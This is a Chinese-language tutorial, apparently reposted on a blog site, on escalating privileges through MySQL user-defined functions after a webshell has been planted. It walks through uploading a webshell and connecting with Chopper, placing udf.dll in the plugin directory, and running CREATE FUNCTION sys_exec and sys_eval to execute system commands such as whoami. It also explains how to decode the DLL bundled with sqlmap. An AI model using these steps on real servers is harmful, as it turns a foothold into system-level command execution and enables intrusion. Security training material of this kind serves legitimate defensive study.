MySQL提權之udf提權(獲得webshell的情況)


什么是udf提權?

MySQL提供了一個讓使用者自行添加新的函數的功能,這種用戶自行擴展函數的功能就叫udf。

它的提權原理也非常簡單!即是利用了root 高權限,創建帶有調用cmd的函數的udf.dll動態鏈接庫!這樣一來我們就可以利用 system權限進行提權操作了!

當我們拿到webshell后,由於中間件,例如,apache使用了較低的權限,可能僅僅是個網絡服務的權限,然后我們就需要進行提權,而有時候目標機器補丁較全,各種系統提權姿勢都失效的情況下,可以將目光轉義到數據庫服務上,在Windows下,在較低版本的mysql(<5.6)安裝時默認是系統權限。還有就是很多人圖方便,例如使用了各種集成環境,未做安全設置,直接用高權限賬戶進行站點配置,就可以考慮用UDF進行提權。

 

dll文件的好處?
1.擴展了應用程序的特性;
2.可以用許多種編程語言來編寫;
3.簡化了軟件項目的管理;
4.有助於節省內存;
5.有助於資源共享;

 

 

什么是udf庫?
UDF表示的是MySQL中的用戶自定義函數。這就像在DLL中編寫自己的函數並在MySQL中調用它們一樣。我們將使用“lib_mysqludf_sys_64.dll”DLL庫

 

 

不同版本的區別:

MySql < 4.1:

允許用戶將任何的DLL文件里面的函數注冊到MySql里。

MySql 4.1-5.0:

對用來注冊的DLL文件的位置進行了限制,通常我們選擇 UDF導出到系統目錄

C:/windows/system32/來跳過限制。

MySql >=5.1:

這些DLL只能被放在MySql的plugin目錄下。

 

0x01 提權的前提

1. 必須是root權限(主要是得創建和拋棄自定義函數)

2. secure_file_priv=(未寫路徑)

3. 將udf.dll文件上傳到MySQL的plugin目錄下(這里以MySQL>=5.1為例)

 

0x02 開始提權

這里以本地為例

1.我們這里上傳了一句話,然后用菜刀連接上

先判斷數據庫版本

select version();

 

 

符合MySql>=5.1的情況。

2. 查看plugin目錄名稱:

show variables like 'plugin%';

 

 

 

3. 查詢目錄的絕對路徑:

select @@plugin_dir;

 

 

 

4. 上傳phpda.php,然后訪問這個馬

 

5. 上傳udf.dll到 E:\phpStudy\PHPTutorial\MySQL\lib\plugin\下

注意:這里沒有plugin這個文件夾,我們必須手動創建(直接在大馬上新建就ok)

 

 

 

6. 我們主要利用udf.dll中的sys_exec(),sys_eval()等函數來進行命令執行

該函數將在“系統”函數內傳遞參數’args-> args [0]‘。你可以使用它在目標機器上執行系統命令。

安裝:
create function sys_exec returns string soname "udf.dll";
驗證:
select * from mysql.func where name = 'sys_exec';

 

 

 

 然后進行命令執行

select sys_exec("whoami");

這里用sys_exec()函數好像不可以,我們換個函數

 

sys_eval
該函數將執行系統命令並在屏幕上通過標准輸出顯示。

安裝:
create function sys_eval returns string soname 'udf.dll';
驗證:
select * from mysql.func where name = 'sys_eval';

 

然后進行命令執行

select sys_eval("whoami");

成功執行

 

 

刪除:
drop function sys_eval;

 

ps: sqlmap下就有udf.dll文件,提取出來就行了

sqlmap里的udf.dll是經過編碼的,需要先解碼,解碼的工具就在sqlmap/extra/cloak/cloak.py

 

 

解碼完了,在sqlmap\udf\mysql\windows,32和64文件夾下會生成dll文件

0x03 結語

最后,總的來說,UDF提權就是利用MySql允許擴展自定義函數的特性,將webshell的權限變成和mysql運行權限一致,所以就有個前提,mysql得是以高權限進行運行的,至少得比中間件權限高,才有用這個方法進行提權的必要。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM